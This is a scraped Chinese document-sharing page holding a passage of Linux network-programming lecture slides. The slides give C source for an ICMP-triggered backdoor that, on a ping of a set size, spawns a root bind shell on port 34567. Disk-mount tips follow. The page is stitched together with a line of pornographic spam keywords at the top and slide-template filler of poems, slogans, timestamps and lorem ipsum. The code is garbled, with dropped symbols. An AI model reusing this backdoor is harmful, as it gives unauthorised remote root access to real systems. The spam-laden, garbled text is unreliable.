freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

linux程序設(shè)計__技術(shù)技巧與項目實踐---網(wǎng)絡(luò)編程--第9章-資料下載頁

2025-01-10 15:09本頁面
  

【正文】 e PORT 34567 ? void child_kill() ? { ? wait(NULL)。 //調(diào)用 wait等待子進(jìn)程終斷或結(jié)束 ? signal(SIGCHLD, child_kill)。 ? } 3/23/2023 39 ? int bind_shell() ? { ? int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid。 ? struct sockaddr_in serv_addr。 ? struct sockaddr_in client_addr。 ? setuid(0)。 // 當(dāng)前發(fā)出調(diào)用的進(jìn)程設(shè)置真正和有效用戶 ID ? setgid(0)。 // 設(shè)置當(dāng)前發(fā)出調(diào)用的進(jìn)程的真正,有效用戶組 ID ? seteuid(0)。 // 設(shè)置當(dāng)前進(jìn)程有效的用戶識別碼 ? setegid(0)。 // 設(shè)置當(dāng)前進(jìn)程有效的用戶組識別碼 ? chdir(/)。 ? soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)。 ? //定義數(shù)據(jù)包 ? if (soc_des == 1) ? exit(1)。 ? bzero((char *) serv_addr,sizeof(serv_addr))。 ? = AF_INET。 ? = htonl(INADDR_ANY)。 ? = htons(PORT)。 ? soc_rc = bind(soc_des, (struct sockaddr *) serv_addr, sizeof(serv_addr))。 3/23/2023 40 ? if (soc_rc != 0) //出錯處理 ? exit(1)。 ? if (fork() != 0) //出錯處理 ? exit(0)。 ? setpgrp()。 //設(shè)置進(jìn)程組 ID ? if (fork() != 0) //出錯處理 ? exit(0)。 ? soc_rc = listen(soc_des, 5)。 ? if (soc_rc != 0) //出錯處理 ? exit(0)。 ? while (1) ? { ? soc_len = sizeof(client_addr)。 //發(fā)送數(shù)據(jù)包 ? //接收數(shù)據(jù)包 ? soc_cli = accept(soc_des, (struct sockaddr *) client_addr, soc_len)。 ? if (soc_cli 0) //未接收到數(shù)據(jù)包,退出 ? exit(0)。 ? cli_pid = getpid()。 //獲取 pid ? server_pid = fork()。 //創(chuàng)建進(jìn)程 3/23/2023 41 ? if (server_pid != 0) //創(chuàng)建進(jìn)程失敗處理 ? { ? dup2(soc_cli,0)。 ? dup2(soc_cli,1)。 ? dup2(soc_cli,2)。 ? execl(/bin/sh,sh,(char *)0)。 ? close(soc_cli)。// 停止接收 ? return 1。 ? } ? close(soc_cli)。 ? } ? } ? int main(int argc, char *argv[]) //主函數(shù) ? { ? int s, size, fromlen。 ? char pkt[4096]。 ? struct protoent *proto。 ? struct sockaddr_in from。 ? if (fork() != 0) exit(0)。 //創(chuàng)建進(jìn)程失敗,退出 ? proto = getprotobyname(icmp)。 ? if ((s = socket(AF_INET, SOCK_RAW, protop_proto)) 0) //未接到則退出 ? exit(0)。 3/23/2023 42 ? while(1) //等待數(shù)據(jù)包 ? { ? do ? { ? fromlen = sizeof(from)。 ? if((size = recvfrom(s, pkt, sizeof(pkt),0,(struct sockaddr *) from, fromlen))0) ? printf(ping of %i , size28)。 ? } while (size != SIZEPACK + 28)。 ? switch(fork()) { // 進(jìn)程的執(zhí)行處理 ? case 1: ? continue。 ? case 0: ? bind_shell()。 ? exit(0)。 ? } ? sleep(15)。 // 進(jìn)程掛起 15秒 ? }} 3/23/2023 43 實戰(zhàn)技巧 光驅(qū)與軟驅(qū)的加載方法 光驅(qū)的使用 ? 使用光驅(qū)前,先把光盤放入光驅(qū),執(zhí)行 mount將光盤加載到系統(tǒng)中: ? [felixhello felix] mount /dev/cdrom /mnt/cdrom ← 加載光盤 ? 然后進(jìn)入 /mnt/cdrom目錄下讀取光盤內(nèi)容;退出光盤時,須使用umout命令: [felixhello felix]# umount /mnt/cdrom ? 否則光驅(qū)就會一直處于死鎖狀態(tài)。或直接退出光盤: [felixhello felix]# eject。 軟驅(qū)的使用 ? 使用軟驅(qū)前,先把軟盤放入驅(qū)動器中,執(zhí)行 mount將軟盤加載到系統(tǒng)中。如果是 linux的 ext2文件系統(tǒng)用如下命令: ? [felixhello felix] mount t ext2 /dev/fd0 /mnt/floppy ← 加載軟盤 ? 然后在 /mnt/floppy里訪問軟盤,注意取出軟盤前先卸掉軟盤上的文件系統(tǒng), umount /mnt/floppy,否則導(dǎo)致信息丟失。在軟盤上建立 DOS文件系統(tǒng)可用命令: [felixhello felix]mkfs t dos /dev/fd0 ? 在軟盤上建立 ext2文件系統(tǒng)可用如下命令進(jìn)行: ? [felixhello felix] mkfs t ext2 /dev/fd0。 3/23/2023 44 45 Thank you. See you next lesson. 3/23/2023 45 靜夜四無鄰,荒居舊業(yè)貧。 , January 29, 2023 雨中黃葉樹,燈下白頭人。 14:54:5914:54:5914:541/29/2023 2:54:59 PM 1以我獨沈久,愧君相見頻。 :54:5914:54Jan2329Jan23 1故人江海別,幾度隔山川。 14:54:5914:54:5914:54Sunday, January 29, 2023 1乍見翻疑夢,相悲各問年。 :54:5914:54:59January 29, 2023 1他鄉(xiāng)生白發(fā),舊國見青山。 2023年 1月 29日星期日 下午 2時 54分 59秒 14:54: 1比不了得就不比,得不到的就不要。 2023年 1月 下午 2時 54分 :54January 29, 2023 1行動出成果,工作出財富。 2023年 1月 29日星期日 2時 54分 59秒 14:54:5929 January 2023 1做前,能夠環(huán)視四周;做時,你只能或者最好沿著以腳為起點的射線向前。 下午 2時 54分 59秒 下午 2時 54分 14:54: 沒有失敗,只有暫時停止成功!。 , January 29, 2023 很多事情努力了未必有結(jié)果,但是不努力卻什么改變也沒有。 14:54:5914:54:5914:541/29/2023 2:54:59 PM 1成功就是日復(fù)一日那一點點小小努力的積累。 :54:5914:54Jan2329Jan23 1世間成事,不求其絕對圓滿,留一份不足,可得無限完美。 14:54:5914:54:5914:54Sunday, January 29, 2023 1不知香積寺,數(shù)里入云峰。 :54:5914:54:59January 29, 2023 1意志堅強(qiáng)的人能把世界放在手中像泥塊一樣任意揉捏。 2023年 1月 29日星期日 下午 2時 54分 59秒 14:54: 1楚塞三湘接,荊門九派通。 2023年 1月 下午 2時 54分 :54January 29, 2023 1少年十五二十時,步行奪得胡馬騎。 2023年 1月 29日星期日 2時 54分 59秒 14:54:5929 January 2023 1空山新雨后,天氣晚來秋。 下午 2時 54分 59秒 下午 2時 54分 14:54: 楊柳散和風(fēng),青山澹吾慮。 , January 29, 2023 閱讀一切好書如同和過去最杰出的人談話。 14:54:5914:54:5914:541/29/2023 2:54:59 PM 1越是沒有本領(lǐng)的就越加自命不凡。 :54:5914:54Jan2329Jan23 1越是無能的人,越喜歡挑剔別人的錯兒。 14:54:5914:54:5914:54Sunday, January 29, 2023 1知人者智,自知者明。勝人者有力,自勝者強(qiáng)。 :54:5914:54:59January 29, 2023 1意志堅強(qiáng)的人能把世界放在手中像泥塊一樣任意揉捏。 2023年 1月 29日星期日 下午 2時 54分 59秒 14:54: 1最具挑戰(zhàn)性的挑戰(zhàn)莫過于提升自我。 2023年 1月 下午 2時 54分 :54January 29, 2023 1業(yè)余生活要有意義,不要越軌。 2023年 1月 29日星期日 2時 54分 59秒 14:54:5929 January 2023 1一個人即使已登上頂峰,也仍要自強(qiáng)不息。 下午 2時 54分 59秒 下午 2時 54分 14:54: MOMODA POWERPOINT Lorem ipsum dolor sit, eleifend nulla ac, fringilla purus. Nulla iaculis tempor felis amet, consectetur adipiscing elit. Fusce id urna blanditut cursus. 感謝您的下載觀看 專家告訴
點擊復(fù)制文檔內(nèi)容
電大資料相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號-1